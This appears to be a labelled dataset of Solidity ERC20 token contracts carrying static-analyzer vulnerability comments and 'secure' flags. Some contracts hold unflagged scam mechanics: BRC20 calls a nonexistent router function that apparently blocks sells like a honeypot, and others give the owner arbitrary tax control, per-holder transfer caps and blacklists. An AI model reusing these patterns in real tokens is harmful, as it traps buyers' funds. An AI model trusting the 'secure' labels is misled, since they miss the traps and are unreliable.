files
dict
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract DIOR is ERC20 {\n constructor() ERC20(\"DIOR\", \"DIOR\") {\n _mint(msg.sender, 100000000000 * (10 ** 18));\n }\n}", "file_name": "solidity_code_2349.sol", "secure": 1, "size_bytes": 262 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: a50d52a): Contract locking ether found Contract Pepesident has payable functions Pepesident.receive() But does not have a function to withdraw the ether\n// Recommendation for a50d52a: Remove the 'payable' attribute or add a withdraw function.\ncontract Pepesident is ERC20, Ownable {\n constructor() ERC20(unicode\"Pepesident\", unicode\"PEPESIDENT\") {\n _mint(owner(), 1000000000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: a50d52a): Contract locking ether found Contract Pepesident has payable functions Pepesident.receive() But does not have a function to withdraw the ether\n\t// Recommendation for a50d52a: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}", "file_name": "solidity_code_235.sol", "secure": 0, "size_bytes": 1024 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract Pimber is Ownable, ERC20 {\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6d5ef24): Pimber.constructor(uint256)._totalSupply shadows ERC20._totalSupply (state variable)\n\t// Recommendation for 6d5ef24: Rename the local variables that shadow another component.\n constructor(uint256 _totalSupply) ERC20(\"Pimber\", \"PI\") {\n _mint(msg.sender, _totalSupply);\n }\n}", "file_name": "solidity_code_2350.sol", "secure": 0, "size_bytes": 598 }
{ "code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract FckBen is ERC20 {\n constructor() ERC20(\"Fck Ben\", \"FCKBEN\") {\n _mint(msg.sender, 690000000000096 * 10 ** decimals());\n }\n}", "file_name": "solidity_code_2351.sol", "secure": 1, "size_bytes": 285 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n _owner = msgSender;\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(owner() == _msgSender());\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(\n _owner,\n address(0x000000000000000000000000000000000000dEaD)\n );\n _owner = address(0x000000000000000000000000000000000000dEaD);\n }\n}", "file_name": "solidity_code_2352.sol", "secure": 1, "size_bytes": 935 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract BananaCat is Context, Ownable, IERC20 {\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => uint256) public totalTransferlemirts;\n mapping(address => uint256) public totalTransferredAmounts;\n\n string private _name;\n string private _symbol;\n\t// WARNING Optimization Issue (immutable-states | ID: 868bcae): BananaCat._decimals should be immutable \n\t// Recommendation for 868bcae: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\t// WARNING Optimization Issue (immutable-states | ID: 78e240c): BananaCat._totalSupply should be immutable \n\t// Recommendation for 78e240c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\n modifier transferlemirt(address sender, uint256 amount) {\n uint256 lemirt = totalTransferlemirts[sender];\n if (lemirt > 0) {\n require(\n totalTransferredAmounts[sender] + amount <= lemirt,\n \"Total transfer amount exceeds the set lemirt\"\n );\n }\n _;\n }\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint8 decimals_,\n uint256 totalSupply_\n ) {\n _name = name_;\n _symbol = symbol_;\n _decimals = decimals_;\n _totalSupply = totalSupply_ * (10 ** decimals_);\n _balances[_msgSender()] = _totalSupply;\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function setTotalTransferlemirt(\n address usrrer,\n uint256 lemirt\n ) public onlyOwner {\n totalTransferlemirts[usrrer] = lemirt;\n }\n\n function removeTotalTransferlemirt(address usrrer) public onlyOwner {\n delete totalTransferlemirts[usrrer];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n )\n public\n virtual\n override\n transferlemirt(_msgSender(), amount)\n returns (bool)\n {\n _balances[_msgSender()] -= amount;\n _balances[recipient] += amount;\n totalTransferredAmounts[_msgSender()] += amount;\n emit Transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 2ef4d88): BananaCat.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 2ef4d88: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _allowances[_msgSender()][spender] = amount;\n emit Approval(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override transferlemirt(sender, amount) returns (bool) {\n require(\n _allowances[sender][_msgSender()] >= amount,\n \"Transfer amount exceeds allowance\"\n );\n\n _balances[sender] -= amount;\n _balances[recipient] += amount;\n\n totalTransferredAmounts[sender] += amount;\n\n _allowances[sender][_msgSender()] -= amount;\n\n emit Transfer(sender, recipient, amount);\n return true;\n }\n}", "file_name": "solidity_code_2353.sol", "secure": 0, "size_bytes": 4483 }
{ "code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract GAINSBOT is ERC20, Ownable {\n constructor() ERC20(\"$GBOT\", \"Gains Bot\") {\n _mint(msg.sender, 1000000 * 10 ** decimals());\n }\n}", "file_name": "solidity_code_2354.sol", "secure": 1, "size_bytes": 354 }
{ "code": "// SPDX-License-Identifier: unlicense\n\npragma solidity ^0.8.0;\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFreelyOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n}", "file_name": "solidity_code_2355.sol", "secure": 1, "size_bytes": 326 }
{ "code": "// SPDX-License-Identifier: unlicense\n\npragma solidity ^0.8.0;\n\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract BRC20 {\n\t// WARNING Optimization Issue (constable-states | ID: 829ed98): BRC20._name should be constant \n\t// Recommendation for 829ed98: Add the 'constant' attribute to state variables that never change.\n string private _name = unicode\"BRC20\";\n\t// WARNING Optimization Issue (constable-states | ID: bc929aa): BRC20._symbol should be constant \n\t// Recommendation for bc929aa: Add the 'constant' attribute to state variables that never change.\n string private _symbol = unicode\"BRC20\";\n uint8 public constant decimals = 18;\n uint256 public constant totalSupply = 1_000_000_000 * 10 ** decimals;\n\n uint8 buyCharge = 3;\n uint8 sellCharge = 3;\n uint256 constant swapAmount = totalSupply / 100;\n\n error Permissions();\n event Transfer(address indexed from, address indexed to, uint256 value);\n event Approval(\n address indexed TOKEN_MKT,\n address indexed spender,\n uint256 value\n );\n\n mapping(address => uint256) public balanceOf;\n mapping(address => mapping(address => uint256)) public allowance;\n\n address private pair;\n address constant ETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n address constant routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n IUniswapV2Router02 constant _uniswapV2Router =\n IUniswapV2Router02(routerAddress);\n\t// WARNING Optimization Issue (immutable-states | ID: 2d2d80c): BRC20.TOKEN_MKT should be immutable \n\t// Recommendation for 2d2d80c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable TOKEN_MKT;\n\n bool private swapping;\n bool private tradingOpen;\n\n constructor() {\n TOKEN_MKT = payable(msg.sender);\n balanceOf[msg.sender] = totalSupply;\n allowance[address(this)][routerAddress] = type(uint256).max;\n emit Transfer(address(0), msg.sender, totalSupply);\n }\n\n receive() external payable {}\n\n function taxRemove(uint8 _buy, uint8 _sell) external {\n if (msg.sender != TOKEN_MKT) revert Permissions();\n _remeveTax(_buy, _sell);\n }\n\n function openTrading() external {\n require(msg.sender == TOKEN_MKT);\n require(!tradingOpen);\n tradingOpen = true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool) {\n allowance[from][msg.sender] -= amount;\n return _transfer(from, to, amount);\n }\n\n function approve(address spender, uint256 amount) external returns (bool) {\n allowance[msg.sender][spender] = amount;\n emit Approval(msg.sender, spender, amount);\n return true;\n }\n\n function transfer(address to, uint256 amount) external returns (bool) {\n return _transfer(msg.sender, to, amount);\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 2fc4fd6): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 2fc4fd6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: fa8858d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for fa8858d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal returns (bool) {\n require(tradingOpen || from == TOKEN_MKT || to == TOKEN_MKT);\n\n if (!tradingOpen && pair == address(0) && amount > 0) pair = to;\n\n balanceOf[from] -= amount;\n\n if (\n to == pair &&\n !swapping &&\n balanceOf[address(this)] >= swapAmount &&\n from != TOKEN_MKT\n ) {\n swapping = true;\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = ETH;\n\t\t\t// reentrancy-events | ID: 2fc4fd6\n\t\t\t// reentrancy-eth | ID: fa8858d\n _uniswapV2Router\n .swapExactTokensForETHSupportingFreelyOnTransferTokens(\n swapAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n\t\t\t// reentrancy-events | ID: 2fc4fd6\n\t\t\t// reentrancy-eth | ID: fa8858d\n TOKEN_MKT.transfer(address(this).balance);\n\t\t\t// reentrancy-eth | ID: fa8858d\n swapping = false;\n }\n\n if (from != address(this) && tradingOpen == true) {\n uint256 taxCalculatedAmount = (amount *\n (from == pair ? buyCharge : sellCharge)) / 100;\n amount -= taxCalculatedAmount;\n\t\t\t// reentrancy-eth | ID: fa8858d\n balanceOf[address(this)] += taxCalculatedAmount;\n }\n\t\t// reentrancy-eth | ID: fa8858d\n balanceOf[to] += amount;\n\t\t// reentrancy-events | ID: 2fc4fd6\n emit Transfer(from, to, amount);\n return true;\n }\n\n function _remeveTax(uint8 _buy, uint8 _sell) private {\n buyCharge = _buy;\n sellCharge = _sell;\n }\n}", "file_name": "solidity_code_2356.sol", "secure": 0, "size_bytes": 5875 }
{ "code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract MARVEL is IERC20 {\n string public constant name = \"MARVEL\";\n string public constant symbol = \"MARVEL\";\n uint8 public constant decimals = 18;\n uint256 public constant totalSupply = 777000777000777 * 10 ** 18;\n\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n constructor() {\n _balances[msg.sender] = totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n require(_balances[msg.sender] >= amount, \"ERR_OWN_BALANCE_NOT_ENOUGH\");\n require(msg.sender != recipient, \"ERR_SENDER_IS_RECEIVER\");\n _balances[msg.sender] -= amount;\n _balances[recipient] += amount;\n emit Transfer(msg.sender, recipient, amount);\n return true;\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _allowances[msg.sender][spender] = amount;\n emit Approval(msg.sender, spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n require(_balances[sender] >= amount, \"ERR_FROM_BALANCE_NOT_ENOUGH\");\n require(\n _allowances[sender][msg.sender] >= amount,\n \"ERR_ALLOWANCE_NOT_ENOUGH\"\n );\n _balances[sender] -= amount;\n _allowances[sender][msg.sender] -= amount;\n _balances[recipient] += amount;\n emit Transfer(sender, recipient, amount);\n return true;\n }\n}", "file_name": "solidity_code_2357.sol", "secure": 1, "size_bytes": 2126 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract ZZZZZZZ is Context, IERC20, Ownable {\n using SafeMath for uint256;\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _isExcludedFromFee;\n mapping(address => bool) private bots;\n\t// WARNING Optimization Issue (immutable-states | ID: 1648723): ZZZZZZZ._taxWallet should be immutable \n\t// Recommendation for 1648723: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n uint256 firstBlock;\n\n\t// WARNING Optimization Issue (constable-states | ID: bcd0b7c): ZZZZZZZ._initialBuyTax should be constant \n\t// Recommendation for bcd0b7c: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 5;\n\t// WARNING Optimization Issue (constable-states | ID: 8883948): ZZZZZZZ._initialSellTax should be constant \n\t// Recommendation for 8883948: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 17;\n\t// WARNING Optimization Issue (constable-states | ID: df61600): ZZZZZZZ._finalBuyTax should be constant \n\t// Recommendation for df61600: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 1;\n\t// WARNING Optimization Issue (constable-states | ID: 6dd34b7): ZZZZZZZ._finalSellTax should be constant \n\t// Recommendation for 6dd34b7: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 1;\n\t// WARNING Optimization Issue (constable-states | ID: 1c7f804): ZZZZZZZ._reduceBuyTaxAt should be constant \n\t// Recommendation for 1c7f804: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 17;\n\t// WARNING Optimization Issue (constable-states | ID: a372dd1): ZZZZZZZ._reduceSellTaxAt should be constant \n\t// Recommendation for a372dd1: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 17;\n\t// WARNING Optimization Issue (constable-states | ID: 8d43417): ZZZZZZZ._preventSwapBefore should be constant \n\t// Recommendation for 8d43417: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 30;\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n uint256 private constant _tTotal = 1000000 * 10 ** _decimals;\n string private constant _name = unicode\"Z-Z-Z-Z-Z-Z-Z\";\n string private constant _symbol = unicode\"Z-Z-Z-Z-Z-Z-Z\";\n uint256 public _maxTxAmount = 20000 * 10 ** _decimals;\n uint256 public _maxWalletSize = 20000 * 10 ** _decimals;\n\t// WARNING Optimization Issue (constable-states | ID: c25251d): ZZZZZZZ._taxSwapThreshold should be constant \n\t// Recommendation for c25251d: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000 * 10 ** _decimals;\n\t// WARNING Optimization Issue (constable-states | ID: af54e1b): ZZZZZZZ._maxTaxSwap should be constant \n\t// Recommendation for af54e1b: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 10000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n address private uniswapV2Pair;\n bool private tradingOpen;\n bool private inSwap = false;\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n modifier lockTheSwap() {\n inSwap = true;\n _;\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n _balances[_msgSender()] = _tTotal;\n _isExcludedFromFee[owner()] = true;\n _isExcludedFromFee[address(this)] = true;\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 2210210): ZZZZZZZ.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 2210210: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: c651813): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for c651813: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: b68958c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for b68958c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: c651813\n\t\t// reentrancy-benign | ID: b68958c\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: c651813\n\t\t// reentrancy-benign | ID: b68958c\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9ec59ec): ZZZZZZZ._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 9ec59ec: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\t\t// reentrancy-benign | ID: b68958c\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: c651813\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 85383f2): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 85383f2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 255adaf): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 255adaf: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n uint256 taxAmount = 0;\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n if (firstBlock + 3 > block.number) {\n require(!isContract(to));\n }\n _buyCount++;\n }\n\n if (to != uniswapV2Pair && !_isExcludedFromFee[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 85383f2\n\t\t\t\t// reentrancy-eth | ID: 255adaf\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n uint256 contractETHBalance = address(this).balance;\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 85383f2\n\t\t\t\t\t// reentrancy-eth | ID: 255adaf\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 255adaf\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\t\t\t// reentrancy-events | ID: 85383f2\n emit Transfer(from, address(this), taxAmount);\n }\n\t\t// reentrancy-eth | ID: 255adaf\n _balances[from] = _balances[from].sub(amount);\n\t\t// reentrancy-eth | ID: 255adaf\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\t\t// reentrancy-events | ID: 85383f2\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function isContract(address account) private view returns (bool) {\n uint256 size;\n assembly {\n size := extcodesize(account)\n }\n return size > 0;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\t\t// reentrancy-events | ID: c651813\n\t\t// reentrancy-events | ID: 85383f2\n\t\t// reentrancy-benign | ID: b68958c\n\t\t// reentrancy-eth | ID: 255adaf\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n _maxWalletSize = _tTotal;\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 5d4d63a): ZZZZZZZ.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 5d4d63a: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: c651813\n\t\t// reentrancy-events | ID: 85383f2\n\t\t// reentrancy-eth | ID: 255adaf\n\t\t// arbitrary-send-eth | ID: 5d4d63a\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint256 i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: e74ee0e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for e74ee0e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 64fad27): ZZZZZZZ.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 64fad27: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: bc2187d): ZZZZZZZ.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for bc2187d: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: fd041ac): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for fd041ac: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\t\t// reentrancy-benign | ID: e74ee0e\n\t\t// reentrancy-eth | ID: fd041ac\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\t\t// reentrancy-benign | ID: e74ee0e\n\t\t// unused-return | ID: 64fad27\n\t\t// reentrancy-eth | ID: fd041ac\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\t\t// reentrancy-benign | ID: e74ee0e\n\t\t// unused-return | ID: bc2187d\n\t\t// reentrancy-eth | ID: fd041ac\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\t\t// reentrancy-benign | ID: e74ee0e\n swapEnabled = true;\n\t\t// reentrancy-eth | ID: fd041ac\n tradingOpen = true;\n\t\t// reentrancy-benign | ID: e74ee0e\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}", "file_name": "solidity_code_2358.sol", "secure": 0, "size_bytes": 16752 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: b377626): Contract locking ether found Contract AirTradeProtocol has payable functions AirTradeProtocol.receive() But does not have a function to withdraw the ether\n// Recommendation for b377626: Remove the 'payable' attribute or add a withdraw function.\ncontract AirTradeProtocol is ERC20, Ownable {\n constructor() ERC20(\"AirTrade Protocol\", \"ATRA\") {\n _mint(owner(), 100000000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: b377626): Contract locking ether found Contract AirTradeProtocol has payable functions AirTradeProtocol.receive() But does not have a function to withdraw the ether\n\t// Recommendation for b377626: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}", "file_name": "solidity_code_2359.sol", "secure": 0, "size_bytes": 1040 }
